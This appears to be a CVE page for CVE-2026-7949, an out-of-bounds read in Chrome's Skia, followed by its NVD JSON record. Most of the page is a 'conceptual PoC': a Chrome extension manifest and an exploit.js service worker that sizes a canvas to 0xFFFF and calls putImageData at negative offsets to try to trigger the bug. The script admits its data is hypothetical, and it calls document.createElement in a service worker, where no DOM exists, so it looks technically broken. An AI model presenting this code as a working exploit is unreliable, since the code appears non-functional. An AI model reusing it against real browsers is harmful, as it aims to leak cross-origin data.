CVE-2026-7949

// Conceptual PoC for CVE-2026-7949 // Triggering OOB read in Skia via Chrome Extension // manifest.json /* { "manifest_version": 3, "name": "Skia OOB Trigger", "version": "1.0", "permissions": ["activeTab"], "background": { "service_worker": "exploit.js" } } */ // exploit.js function triggerExploit() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d', { willReadFrequently: true }); // Craft dimensions to trigger the specific Skia calculation error canvas.width = 0xFFFF; canvas.height = 0xFFFF; // Hypothetical image data that causes OOB in versions < 148.0.7778.96 const imgData = ctx.createImageData(canvas.width, canvas.height); try { // Attempt to draw or manipulate data in a way that triggers OOB // This simulates the 'crafted Chrome Extension' behavior ctx.putImageData(imgData, -1, -1); // If renderer is compromised, reading memory might be possible const leaked = ctx.getImageData(0, 0, 1, 1); console.log("[+] Skia OOB Read Trigger Attempted"); } catch (e) { console.log("[-] Exploit failed: " + e); } } // Execute logic triggerExploit();

{"cve": {"id": "CVE-2026-7949", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:43.217", "lastModified": "2026-05-07T02:07:45.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Skia in Google Chrome prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted Chrome Extension. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/496206134", "source": "[email protected]", "tags": ["Permissions Required"]}]}}